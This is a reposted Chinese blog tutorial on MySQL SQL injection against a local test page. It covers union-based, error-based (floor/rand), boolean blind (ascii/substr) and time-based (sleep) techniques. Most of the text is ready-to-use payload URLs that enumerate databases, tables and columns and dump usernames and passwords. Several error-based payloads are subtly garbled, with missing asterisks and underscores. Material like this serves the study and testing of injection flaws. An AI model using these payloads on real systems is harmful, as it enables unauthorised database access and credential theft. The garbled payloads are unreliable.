当前位置:   article > 正文

MYSQL注入

union select 不爆显示位

MYSQL注入
简介:
  MySQL是一种开放源代码的关系型数据库管理系统(RDBMS),MySQL数据库系统使用最常用的数据库管理语言--结构化查询语言(SQL)进行数据库管理。
  由于MySQL是开放源代码的,因此任何人都可以在General Public License的许可下下载并根据个性化的需要对其进行修改。MySQL因为其速度、可靠性和适应性而备受关注。大多数人都认为在不需要事务化处理的情况下,MySQL是管理内容最好的选择。
  mysql注释符号:#:%23、- -、/**/


Mysql注入分类:

1.基于错误的有显示位的注入(联合注入)
(1)判断注入
and 1=1,http://127.0.0.1/union.php?id=1 and 1=1
MYSQL注入
and 1=2,http://127.0.0.1/union.php?id=1 and 1=2

MYSQL注入
and 1=1输出结果,and 1=2没有结果,说明and语句执行成功,可能存在sql注入
(2) 判断列
http://127.0.0.1/union.php?id=1 order by 1
MYSQL注入
http://127.0.0.1/union.php?id=1 order by 2
MYSQL注入
http://127.0.0.1/union.php?id=1 order by 3
MYSQL注入
http://127.0.0.1/union.php?id=1 order by 4

MYSQL注入
查询当前数据库中有多少列order by 1、order by 2、order by 3的时候都返回正常, order by 4的时候返回错误,那么就可以确定当前有3列。
(3) 爆显示位
union查询的时候是把后面的查询结果拼接到select查询结果的末尾
http://127.0.0.1/union.php?id=1 union select 1,2,3
MYSQL注入
使用union select 1,2,3,并没有输出显示位,是因为select语句后有limit 0,1限制,只显示查询出的第一行,若id输入错误则不会显示查询的id信息。
http://127.0.0.1/union.php?id=-1 union select 1,2,3
MYSQL注入
id=-1时,此时id输入错误,则输出显示位1,2,3。
(4)获取数据库
有了显示位就可以代入相应的显示位,来查询我们想要的东西,比如查询数据库名
http://127.0.0.1/union.php?id=-1 union select 1,database(),3
MYSQL注入
获取到数据库为s。
(5) 获取数据表
接着查看s数据库中的表
http://127.0.0.1/union.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='s'
MYSQL注入
利用information_schema查询数据库中的tables表,查询出数据库s中的表为student;
information_schema数据库中有所有数据库、所有表、所有列。
(6) 获取数据列
接下来查询student表中有哪些列
http://127.0.0.1/union.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='student'
MYSQL注入
利用information_schema数据库获取到student表中有id、username、password三列。
(7)获取内容
查询username和password的内容
http://127.0.0.1/union.php?id=-1 union select 1,username,password from student
MYSQL注入
获取到student表中username,password列的内容,获取到用户root密码123456。


2.基于错误的有数据库报错信息的注入(报错注入)
mysql有十种报错注入
添加报错语句

  1. if(!$res) {
  2. die(mysql_error());
  3. }

(1)获取数据库版本信息
http://127.0.0.1/union.php?id=1 and (select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
MYSQL注入
(2)获取数据库信息.
通过控制 LIMIT来控制要获取的数据库
http://127.0.0.1/union.php?id=1 and (select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,schemaname,0x7e) FROM informationschema.schemata LIMIT 1,1)) from informationschema.tables limit 0,1),floor(rand(0)2))x from informationschema.tables group by x)a)
MYSQL注入
(3)获取当前数据库的表
同样是通过控制LIMIT来控制不同的表名。
http://127.0.0.1/union.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
MYSQL注入
(4)获取users表的列名
http://127.0.0.1/union.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='student' LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
MYSQL注入
(5)获取username和password字段的内容
http://127.0.0.1/union.php?id=1 and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM student limit 0,1)) from informationschema.tables limit 0,1),floor(rand(0)2))x from informationschema.tables group by x)a)
MYSQL注入


盲注:在执行注入语句时不会有显示位也不会有数据库的报错信息,只是一个正确一个错误的显示页,当语句执行正确时,页面会返回正常,当执行错误时,就会出现不正常界面,但是不会有任何的数据库报错信息。


3.基于错误的没有数据库报错信息的盲注
(1)利用联合查询union盲注
http://127.0.0.1/union.php?id=1 union select 1,2,‘122’ order by 3
MYSQL注入
按照第三列进行排序,第三列值前三位若大于122不显示,如图未显示。
http://127.0.0.1/union.php?id=1 union select 1,2,‘126’ order by 3
MYSQL注入
依此类推,修改第三位的值来获取信息,第三列值前三位若小于126则显示,如图显示。
(2)不用联合查询union盲注(ASCII
遵循折半查询的思想。
猜测数据库名:
http://127.0.0.1/union.php?id=1 and ascii(substr(database(),1,1))>0
substr(database(),1,1)分割数据库名字符,从第一个字符开始,每次分割一个字符。
ascii()函数,把分割得到的字符转换成ASCII值。
MYSQL注入
如图,有查询结果说明数据库名的第一个字符ascii大于0。
http://127.0.0.1/union.php?id=1 and ascii(substr(database(),1,1))>120
MYSQL注入
如图,无查询结果说明数据库名的第一个字符ascii小于120。
http://127.0.0.1/union.php?id=1 and ascii(substr(database(),1,1))=115
MYSQL注入
依次类推得出数据库名的第一个字符ascii为115,
MYSQL注入
使用小葵多功能转换工具转换出ASCII对应的字符,115为字母s。
然后依次类推可猜出数据库名。
猜测数据库的表名:
http://127.0.0.1/union.php?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='s' limit 0,1),1,1))=115
MYSQL注入
通过猜测ascii 可得到s数据库的第一个表的第一个字符串的ascii码是115,也就是字符s。同理依次进行猜解。
猜词表中的列名:
http://127.0.0.1/union.php?id=1 and ascii(substr((select column_name from information_schema.columns where table_name='student' limit 0,1),1,1))=105
MYSQL注入
得到student表的第一个列名的第一个字符串的ascii码105,对应字符i,同理依次进行猜解。
猜解列的内容:
http://127.0.0.1/union.php?id=1 and ascii(substr((select username from student limit 0,1),1,1))=114
MYSQL注入
username的第一个字符串的ascii码为114,就是字母r,同理依次进行猜解。


4.基于时间的盲注
基于时间的盲注和基于错误的盲注差不多,区别是时间盲注页面不回有任何回显,一般通过sleep()函数来判断我们的sql语句是否执行,从而判断是否存在注入。

利用火狐的firebug(F12),来监测脚本的执行时间情况
http://127.0.0.1/union.php?id=1 and if(ascii(substr(database(),1,1))=115,sleep(3),1)
MYSQL注入
猜测数据库,语句正确执行延迟了3秒。

转载于:https://blog.51cto.com/13712661/2166247

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/凡人多烦事01/article/detail/573974
推荐阅读
相关标签
  

闽ICP备14008679号